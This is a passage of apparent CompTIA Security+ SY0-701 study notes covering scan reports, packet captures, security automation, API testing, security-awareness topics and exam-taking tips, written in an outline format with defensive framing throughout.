      - Automated responses can include suspending user accounts, blocking IP addresses, and resetting passwords

        - Outbound traffic and software installations may trigger alerts, which require investigation to determine their nature and potential security implications
    - *Incident Analysis*
        - May include threat trends, user behavior, and data flow anomalies
    - *Security Recommendations*
        - Suggest actions to address identified security issues
    - *Conclusion*
        - Summary of the report's findings and contains outlines of any further actions to be taken
    - *Appendices*
        - May include log snippets, IP addresses, domains, or other relevant data
  - Automation and orchestration enable real-time responses to security incidents, helping to prevent major security breaches and network outages

- **Vulnerability Scans**
  - *Vulnerability Scan Report*
    - Generated automatically after completing a vulnerability scan
    - Analysis of the report is essential to confirm the validity of identified vulnerabilities
  - False Positives
    - Vulnerability scanners may produce false positives, meaning they report vulnerabilities that don't actually exist on your system
    - It is crucial to differentiate real vulnerabilities from false positives
  - Analysis of Vulnerabilities
    - For each identified vulnerability, assess whether it was detected by the scanner

and if it exists on your system

- Determine the severity and criticality of each vulnerability
- Create a plan of action and milestones for remediation

- Components of a Vulnerability Scan Report
  - Report ID
  - Scan Date and Time
  - System or Software Version
  - *Scan Initiator*
    - The person who ran the scan
  - *Executive Summary*
    - Highlights themes and trends for large networks
  - Vulnerabilities – listed by severity (critical, high, medium, low, informational) or by hosts
    - CVE (Common Vulnerability and Exposure) ID – Vulnerability ID
      - CVE website (cve.org) contains detailed information about vulnerabilities
    - Description
    - Affected system
    - Impact
    - *Common Vulnerability Scoring System (CVSS) Score*
      - Measures severity
    - Remediation Recommendations
  - Additional Findings
  - Recommendations
  - Conclusion

- **Packet Captures**
  - *Packet Capture*
    - Captures data going to or from a network device
    - Can be set up on a span port to capture all data going to and from devices on the network
    - Packet captures in exam are typically short snippets, not massive data dumps
  - Packet Capture Columns
    - *Number*
      - Packet sequence number in the capture
    - *Time*
      - Elapsed time since the capture started
    - *Source/Destination IP Addresses*
      - Show where the data is coming from and going to
    - *Protocol*
      - Typically TCP or UDP
    - *Length*
      - The size of the packet
    - *Info*
      - Provides information from the packet header, including flags, sequence, window, length, MSS, source port, and destination port
  - Look for patterns that indicate attack types, such as SYN floods or DDoS attacks
  - Consider the relationship between source and destination IP addresses to identify the type of attack

- **Metadata**
  - *Metadata*
    - Information about a file, application, or other data
  - *MD5/SHA256 Checksum*
    - Serves as unique digital fingerprint for file identification, including potential malware

Automation and Orchestration

Objective 4.7: Explain the importance of automation and orchestration related to secure operations

- **When to Automate and Orchestrate**
  - *Automation and Orchestration*
    - Effective automation and orchestration are for repeatable and stable tasks and workflows
    - Identify consistent processes in your organization for automation and orchestration
  - Decision factors for implementing automation and orchestration
    - *Complexity*
      - Automation and orchestration are suitable for complex, repetitive tasks
      - Determine process complexity to decide whether to automate or orchestrate
      - Routine backups are suitable for automation, while complex incident response requires orchestration
    - *Cost*
      - Initial investment is a key factor
      - Conduct a cost-benefit analysis considering development, implementation, and maintenance costs
      - Include hardware, software, personnel, and support costs in the analysis
      - Cost savings often outweigh the initial investment in the long run
    - *Single Points of Failure*
      - Implement backup systems or manual processes to mitigate single points

of failure

- Redundancy and failover mechanisms, both technical and manual, can ensure uninterrupted operations

- *Technical Debt*
  - Technical debt is the cost and complexity of suboptimal software solutions
  - Regular reviews and updates are necessary to avoid technical debt
  - Technical debt can impede efficiency and security
- *Ongoing supportability*
  - Automation and orchestration systems need ongoing maintenance and adaptation
  - Teams must possess the necessary skills to maintain and adapt these systems
  - Training and skill development are essential
  - Most automation depends on the connection of systems via APIs and webhooks

- **Benefits of Automation and Orchestration**
  - Increased Efficiency and Time Savings
    - Automation reduces manual tasks
    - Repetitive processes, like patching and backups, can run seamlessly without human intervention
    - Frees up human resources and reduces the risk of errors
    - Increases reliability and consistency in processes
  - Enforcement of Baselines
    - Consistently enforces security and compliance baselines

- Defines standardized configurations and policies
- Ensures systems align with industry best practices and regulatory requirements
- Minimizes vulnerabilities and security breach risks

- Implementation of Standard Infrastructure Configurations
  - Facilitates the creation and enforcement of standard configurations
  - Ensures consistent setup of all systems
  - Detects deviations from established standards and triggers automated corrective action
- Secure Scaling
  - Enables secure scaling of IT infrastructure as organizations grow
  - Dynamically scales resources while adhering to security protocols
  - Provisioning virtual machines, adding network resources, and access control adjustments are done securely
- Increased Employee Retention
  - Empowers employees to focus on strategic and creative aspects of their roles
  - Reduces repetitive and mundane tasks
  - Increases job fulfillment and engagement
  - Reduces the risk of burnout, contributing to higher retention rates
- Faster Reaction Times
  - Facilitates rapid response to security incidents and threats
  - Automation and orchestration systems are always available
  - Automates intrusion detection, threat analysis, and incident response
  - Real-time alerts and predefined response actions enhance security
- Workforce Multiplier
  - Augments existing staff's capabilities
  - Smaller teams can manage larger, more complex infrastructures

        - Reduces staffing needs and optimizes resource allocation for cost savings

- **Automating Support Tickets**
    - Automating Support Ticket Management
        - Enhances IT and customer support team efficiency
        - Streamlines issue resolution and improves customer satisfaction
        - Support ticket management is critical for addressing issues, incidents, and service requests
        - High ticket volume can lead to delays, increased workloads, and decreased customer satisfaction
    - Automating Support Ticket Creation
        - Six steps in the ticket creation process
            - Users submit requests through channels (e.g., email, web form, support portal)
            - Automation tool generates tickets based on predefined criteria
            - Capture essential information from user submissions
            - Categorize tickets based on content or source
            - Assign priority based on predefined rules and criteria
            - Automated notification sent to relevant support team or technician
        - Benefits of Automating Ticket Creation
            - Ensures efficient capture, categorization, and assignment of support requests
            - Reduces the risk of lost or overlooked tickets
            - Accelerates response time to user needs
    - Ticket Escalation Automation
        - Ticket escalation addresses complex or high-priority issues

- Follows a five-step process
  - Define escalation criteria based on issue nature, urgency, and service level agreements
  - Create automation rules to monitor ticket attributes and trigger escalation
  - Perform predefined escalation actions (e.g., notification, reassignment, change in priority)
  - Monitor and track the escalated ticket's progress
  - Resolve and close the ticket, triggering notification to the user
- Benefits of Automating Ticket Escalation
  - Ensures prompt handling of critical issues
  - Maintains transparency and accountability in the support process
  - Helps meet service level agreements and minimize delays in addressing urgent matters

- **Automating Onboarding**
  - *Automation*
    - Involves using technology to execute repetitive tasks without continuous human intervention
  - Automating the onboarding process impacts organizational productivity, employee satisfaction, and retention rates
    - Streamlining onboarding ensures new hires are integrated quickly and efficiently into their roles and the organization's culture
    - Benefits
      - Eliminates manual tasks, reduces errors, and provides structured, consistent onboarding

- Reduces administrative burden on HR and IT departments
- Enhances support ticket management processes

- Areas to Automate in Onboarding
  - Creation of documentation records
  - Scheduling training
  - Provisioning equipment
  - Managing access rights
  - Distributing checklists
  - Collecting feedback
- *User Provisioning*
  - Involves creating and managing user accounts and access rights
  - Ensures new employees have necessary access to systems, applications, and resources
  - Process includes the following
    - Collecting information
    - Creating accounts
    - Assigning roles and access
    - Sending notifications
    - Conducting synchronization and updates
  - Steps in User Provisioning
    - Employee provides personal details, role, and department information
    - Automation creates user accounts in various systems
    - Automation assigns roles and access levels based on department and position
    - Automated notifications sent to the employee, manager, or IT department

        - Automation keeps user information synchronized across platforms
    - *Resource Provisioning*
        - Ensures timely allocation of physical and digital resources needed by new employees
        - Resources include
            - Workstations
            - Software licenses
            - Communication tools
        - Process involves
            - Requirements analysis
            - Resource allocation
            - Configuration
            - Verification and auditing
            - Gathering feedback
        - Steps in Resource Provisioning
            - Analyze role and department information to determine specific resources
            - Initiate procurement workflows or allocate available resources based on rules
            - Configure resources to meet the employee's role
            - Verification process to ensure successful allocation
            - Auditing to track allocated resources for inventory management and compliance
            - Employee and manager feedback on resource suitability and additional requirements

- **Automating Security**
  - Automating Security
    - Helps prevent security vulnerabilities, respond to threats swiftly, and maintain consistent security policies
    - It involves using technology to perform crucial but repetitive security tasks to maintain updated defenses and swift response to security threats
    - Automation includes the use and configuration of guardrails, security groups, service access management, and permissions
  - Ways to Automate Security
    - Implementing Guardrails
      - Guardrails are automated safety controls to protect against insecure infrastructure configurations
      - Configured according to security standards and enforce security policies automatically
      - Continuously monitor infrastructure, detect security violations, and take predefined corrective actions
    - Managing Security Groups
      - Security groups act as virtual firewalls for cloud-based server instances
      - Specify allowed incoming and outgoing network traffic using predefined rules
      - Automate assignment of instances to appropriate security groups
      - Dynamically adjust security group configurations to respond to evolving threats
      - Analyze traffic for unauthorized access attempts
    - Enabling and Disabling Services and Access
      - Automate service access management to prevent unnecessary risks and

maintain operational efficiency
- Regularly review and manage access to services
- Monitor for unusual activity and automatically restrict or disable access if suspicious
- Enable or disable services based on a predefined schedule when not continuously needed

■ Automating Permissions Management
- Manage permissions using Role-based Access Controls (RBAC)
- Automate provisioning and de-provisioning of access rights based on assigned roles
- Ensure no unauthorized access to sensitive information
- Perform regular checks on permissions settings to verify compliance with policies and regulations
- Make necessary adjustments over time to maintain security

- **Automating Application Development**
  - Automating Application Development
    - Enhances efficiency, consistency, and the quality of software products
    - *Automation*
      - In application development, it involves using technology to manage, test, and deploy applications with minimal human intervention
  - Continuous Integration and Continuous Deployment (CI/CD) significantly improve software efficiency, consistency, and quality
    - *Continuous Integration (CI)*
      - Developers merge code changes frequently in a central repository
      - Automated build process verifies each check-in and detects problems

during integration

- Automation tools manage code integration, provide notifications for conflicts or errors
- Automated tests ensure software quality after integration
- Developers receive feedback on detected issues to make necessary corrections
- *Release*
    - Process of finalizing and preparing new software or updates
    - Enabling software installation and usage
- *Deployment*
    - Involves automated process of software releases to users
    - Actual installation of software in a new environment

■ *Continuous Integration and Continuous Delivery (CI/CD)*

- CI/CD includes continuous integration
- Continuous Delivery (CD) ensures code is always deployable after every change
    - Automated testing and build processes
    - CD stops short of automatic production deployment
    - CD is part of the release process
    - Full deployment process is automated only to a certain stage
        - Doesn't deploy into the production environment automatically
    - Deployment to production environment is a manual business decision
    - Allows flexibility in timing, market conditions, and stakeholder readiness

- *Continuous Deployment*
  - Takes CI/CD further by automatically deploying code changes to testing and production environments
  - All changes passing through the production pipeline are fully released with no human intervention
  - Automation ensures consistent deployments, faster releases, and offers rollback capabilities
  - Requires a paradigm shift, more developer involvement in the deployment process
  - Promotes increased communication and collaboration within teams for collective responsibility
- Benefits of CI/CD
  - Adapting to changing market demands more quickly
  - Efficient workflow from development to deployment
  - Improves code quality, streamlines deployment processes, and allows flexible production release
  - Reduces deployment risks and enhances software reliability

- **Integrations and APIs**
  - *Integration*
    - Combining subsystems or components into a single, functioning system
  - *API (Application Programming Interface)*
    - Set of rules and protocols used for building and integrating application software
    - Enable software developers to access functions or features of another application programmatically

- API Communication
  - APIs facilitate communication between different parts of a microservice or service-oriented architecture
  - Allows automation of administration, management, and monitoring of services and cloud-based infrastructures
  - Common communication methods used by APIs
    - *REST (Representational State Transfer)*
      - REST uses standard HTTP methods, status codes, URIs, and MIME types for interactions
      - Primarily uses JSON for data transfer
      - Lightweight protocol suitable for integrating with existing websites
    - *SOAP (Simple Object Access Protocol)*
      - SOAP has a structured message format in XML
      - Known for robustness, additional security features, and transaction compliance
      - Suitable for enterprise-level web services with complex transactions and regulatory compliance requirements
- Benefits of API Integrations
  - Improved efficiency and consistency
  - Allows direct integration of third-party applications into web applications
  - Reduces the need to build entire services from scratch
- API Testing with CURL
  - *CURL*
    - A tool for transferring data to or from a server using various supported protocols
  - Commonly used protocols for API testing are HTTP and HTTPS

- Use CURL to send data to an API and receive a response for testing
- CURL allows sending data to an API and receiving a JSON response
- Helpful for software developers and cybersecurity professionals, especially in penetration testing scenarios

Security Awareness

Objective 5.6: Given a scenario, you must be able to implement security awareness practices

- **Recognizing Insider Threats**
  - Recognizing Insider Threats
    - *Insider Threats*
      - Involve risks posed by individuals within an organization
    - Threats can be intentional or unintentional, arising from various personal factors
    - Training employees to recognize anomalous behavior is essential in addressing insider threats
  - Behavior Indicators
    - Altered State or Substance Abuse
      - Employees arriving at work intoxicated or hungover may indicate personal issues
      - Impaired judgment may lead to unintentional data disclosure or misconduct
      - Potential for coercion into making poor security decisions
    - Emotional Distress
      - Signs of depression, giving away personal possessions, or emotional turmoil
      - Emotional distress may lead to non-compliance with security protocols
      - Vulnerability to exploitation by malicious parties
    - Lifestyle Incongruences
      - Employees demonstrating a lifestyle inconsistent with their finances

- Investigate cases where an employee's spending doesn't align with income
- Discreet investigations to rule out illicit activities, theft, or information selling

■ Financial Struggles

- Employees under financial stress may express financial woes to coworkers
- Financial pressures can make individuals susceptible to bribery or data selling
- Organizations should have policies in place for handling such scenarios, like financial counseling or monitoring for unusual data access

○ Building a Robust Insider Threat Program

■ Establish an insider threat program to create a security culture
■ Encourage employees to report suspicious activities
■ Provide training to recognize warning signs
■ Implement policies that support mental health and financial well-being
■ Ensure fair and confidential investigation processes
■ Employ user activity monitoring tools to detect anomalous behavior while respecting employee privacy

- **Password Managers**
  - *Password Manager*
    - Specialized tool, plugin, or extension used with web browsers
    - Helps users securely store and manage various usernames and passwords for different websites
  - Password Reuse Risks
    - Reusing passwords across multiple websites is dangerous

        - Breaches of one website can expose reused passwords
        - Attackers use known credentials to compromise other sites
        - Most usernames are email addresses, further increasing risk
    - Built-In vs. Third-Party Password Managers
        - Many web browsers offer built-in password functionality
        - Third-party password managers like Bitwarden, Dashlane, LastPass, or OnePass are often preferred for enhanced security
    - Advantages of Password Managers
        - Securely store and manage multiple credentials
        - Prevent password reuse and enhance security
        - Simplify password management with a single master password
        - Encrypt and protect all stored passwords
        - Automatically fill in login details for easy access
        - Organize and manage numerous passwords efficiently

- **Avoiding Social Engineering**
    - *Social Engineering*
        - Involves deception to manipulate individuals into breaching security procedures
        - Attacks exploit human psychology and often appear innocent
        - Awareness and vigilance serve as the first line of defense against social engineering attacks
    - Maintaining Situational Awareness
        - *Situational Awareness*
            - Mindfulness about surroundings and actions
        - Essential to avoid social engineering attacks

- Examples of social engineering threats
  - Shoulder surfing
  - Eavesdropping
- Measures to counter threats
  - Privacy screen protectors
  - Secure discussions

- Piggybacking and Tailgating
  - Social engineers may try to enter secured premises by closely following authorized personnel
  - Use access control vestibules to restrict entry to one person at a time
  - Maintain situational awareness to prevent unauthorized access
- *Dumpster Diving*
  - Attackers sift through garbage for discarded information
  - Employees with situational awareness can spot such activities
  - Dispose of sensitive data securely to avoid being a victim of this attack
- *Operational Security (OPSEC)*
  - Protects critical information from being used by adversaries
  - Safeguard sensitive data, daily routines, and internal procedures
  - Discourage sharing seemingly innocuous details on social media or during personal interactions
- Technological Social Engineering Attacks
  - Baiting attacks use removable media devices (e.g., USB thumb drives) and charging cables
  - Picking up or connecting found devices can infect workstations or networks with malware
  - Carry your own charging cables and chargers to avoid untrusted ones

- Pressure Tactics
  - Social engineers may use a sense of urgency or fear to manipulate individuals
  - Urgent requests aim to bypass normal security protocols
  - People are more likely to make mistakes when rushed into action
- Proactive Culture of Security
  - Train employees regardless of their position in the company
  - Educate on recognizing phishing attempts, data privacy, and safe online behavior
  - Encourage employees to report suspicious activities
  - Conduct practical exercises, like simulated phishing attacks, to test and remediate employees' responses

- **Policy and Handbooks**
  - Policies and Handbooks
    - *Policy*
      - A system of principles and rules guiding decisions, ensuring compliance with legal and ethical standards
    - *Handbook*
      - A comprehensive guide providing detailed information on procedures, guidelines, and best practices
    - Policies and handbooks are living guidelines that shape behavior and decision-making in organizations
    - These documents vary between organizations based on industry, needs, and use cases
    - Importance of not just reading but understanding the policies and handbooks

- Scope of Policies and Handbooks
  - Cover various aspects in an organization, e.g., data protection, remote work, technology use, conflicts of interest
  - Different handbooks for different aspects, e.g., Employee Handbook, Training Handbook, Compliance Handbook
- Data Destruction Policy Example
  - Some policies may define rules for data disposal, e.g., shredding
  - Color-coded paper for document classification
  - Shredding of sensitive documents to prevent data breaches
- Remote Work and Data Protection
  - Organizations may have strict guidelines regarding remote work
  - Policies cover physical files and digital files that leave the office
  - Restrictions on what can be taken home or worked on remotely
- Policy Guidance for Daily Responsibilities
  - Provide guidance on handling various situations, e.g., data breaches, reporting suspicious activity
  - Ensures employees know how to respond to specific scenarios
- Policy and Handbook Updates
  - Policies and handbooks should be reviewed at least annually
  - Updates to reflect changing cybersecurity landscape
  - Employee awareness of policy updates and significant changes is crucial
- Human Judgment and Culture of Security
  - Policies and handbooks may not cover every scenario
  - Employees should understand the "why" behind the policies to make judgment calls
  - Creating a culture of security involves reporting gaps and fostering a secure

environment

- Importance of Employee Involvement
  - Encourage employees to bring up concerns and questions
  - Open communication with management and leadership teams
  - Collective responsibility in promoting a secure organization culture

- **Remote and Hybrid Work Environments**
  - *Remote Work*
    - Employees work outside the traditional office (e.g., from home, coffee shops, or while traveling)
  - *Hybrid Work*
    - Combines traditional office work with remote work opportunities
  - Security Challenges
    - Increased risk due to lack of physical security controls outside the office
    - Data transmitted over public and private networks can be exposed to malicious attackers
    - Home and public networks have weaker security controls
    - Potential for cyberattacks, eavesdropping, and data breaches
    - Increased risk of device loss or theft
  - Addressing Security Challenges
    - Establish comprehensive policies for remote work
    - Emphasize the use of secure connections like VPN for data access
    - Implement multi-factor authentication for added security
    - Provide cybersecurity training and awareness for employees
      - Encourage reporting of security incidents

- Use company-issued devices with up-to-date security software
  - Define security measures for personally owned devices (BYOD)
- Set up automated backups for data protection
- Choose secure collaboration tools with end-to-end encryption and administrative controls
- Maintain clear communication between cybersecurity team and remote employees
- Conduct regular security audits and feedback sessions

- **Creating a Culture of Security**
  - Importance of Security Culture
    - A culture of security is crucial for safeguarding an organization
    - Technical security solutions are ineffective if employees do not value security
  - Creating a Culture of Security
    - Involves integrating cybersecurity into the organization's ethos, behaviors, and decisions
    - Requirements
      - Organizational change management
      - Strategic planning
      - Execution
      - Monitoring
      - Reporting
    - Goal
      - Embed cybersecurity into every aspect of the organization to protect valuable information

- Organizational Change Management
  - Recognizes the role of the human element in security
  - Emphasizes staff engagement and adherence to security policies and procedures
  - Begins with commitment from executive leadership
  - Communicates cybersecurity as a shared corporate responsibility
- Development Phase
  - Involves developing specific and actionable security plans
  - Allocates resources to support plans
  - Create comprehensive policies
  - Educate employees on threats,
  - Establish guidelines for data handling
  - Focuses on empowerment and employee confidence in recognizing and responding to threats
- Execution Phase
  - Ongoing process, not a one-time event
  - Includes rolling out policies, conducting training, and adapting to evolving security threats
  - Requires regular training updates, simulated cyberattacks, and consistent threat communication
- Reporting and Monitoring
  - Begin with initial monitoring after the rollout of a security program
  - Conduct recurring check-ins to maintain program integrity
  - Assessing employee compliance with security protocols
  - Identifying areas for improvement
  - Creating a culture of reporting suspicious activities
  - Establishing feedback loops to adapt based on insights from monitoring and

reporting

- Benefits of Security Culture
  - Resilience against cyberattacks
  - Employee vigilance becomes inherent
  - Improved operations and trust-based reputation
  - Proactive security posture for future uncertainties

Conclusion

- **Conclusion**
    - 5 Domains of CompTIA Security+ (SY0-701)
        - Domain 1: General Security Concepts
            - It makes up 12% of the exam
        - Domain 2: Threats, Vulnerabilities, and Mitigations
            - It makes up 22% of the exam
        - Domain 3: Security Architecture
            - It makes up 18% of the exam
        - Domain 4: Security Operations
            - It makes up 28% of the exam
        - Domain 5: Security Program Management and Oversight
            - It makes up 20% of the exam
    - How do you sign up and schedule your exam?
        - PearsonVUE or CompTIA Web Store
            - You can take it at any Pearson VUE testing center worldwide, at either a local testing center or online
            - You can buy that exam voucher by going to PearsonVue directly when you're scheduling your exam at pearsonvue.com, or going to the store at store.comptia.org to buy it from the CompTIA web store
            - PearsonVUE and CompTIA have now created a capability for you to take your certification exam online from the comfort of your home or office, using the Pearson VUE OnVue testing system

- Dion Training
  - If you'd like to pre-purchase your exam voucher before you schedule the exam, you can actually save 10% off the price by going to our website at diontraining.com/vouchers
  - Currently, we carry vouchers for over 50 countries around the world, and we are adding countries all the time
  - As a CompTIA Platinum Partner, we receive a special discounted rate on these exam vouchers and we pass those savings onto our students when they order their exam vouchers from us

- Top five tips for increasing your score on the exam
  - Use a cheat sheet
    - You're not allowed to actually carry anything into the exam with you, but if you're at a local testing center, they will give you a whiteboard or a dry erase sheet that's about the size of a normal piece of paper
    - Once the clock starts on the exam, you can brain-dump anything you want onto that paper
    - Use the sheet and spend the first 1-2 minutes writing down those important things you may forget later on
  - Skip any questions that are giving you trouble
    - If you find yourself struggling with a really hard question, just mark it for review and skip it
    - Students who do this end up increasing their score by at least 5% to 10% over their peers who try to do the simulations at the beginning of their exam
  - Take a guess
    - If you're in doubt, take a guess from the possible answer choices

- There is no penalty for guessing incorrectly on the exam
- If you are in doubt of the right answer, try to eliminate as many choices as possible and guess between the remaining answer options

- Pick the best time for your exam
  - Pick the time of day that works best for you
  - Don’t try to squeeze the exam in after working a long day at the office
- Be confident
  - You’ve got this!
  - You should already know you're going to pass!
  - You should have already studied all the information in this course, you've watched the videos, you've taken the quizzes, you've studied your downloadable study notes
  - If you're not confident right now, then wait a few days to schedule your exam
  - Take a bunch of practice exams and build up your confidence

- When you take a practice exam, your goal is not to memorize the answer key
  - You need to understand why the right answer was right and the wrong answers are wrong
- Good luck, and we hope to see you again in a future course as you continue upwards in your cybersecurity career and continue to climb the CompTIA certification ladder into CySA+, PenTest+ and CASP+!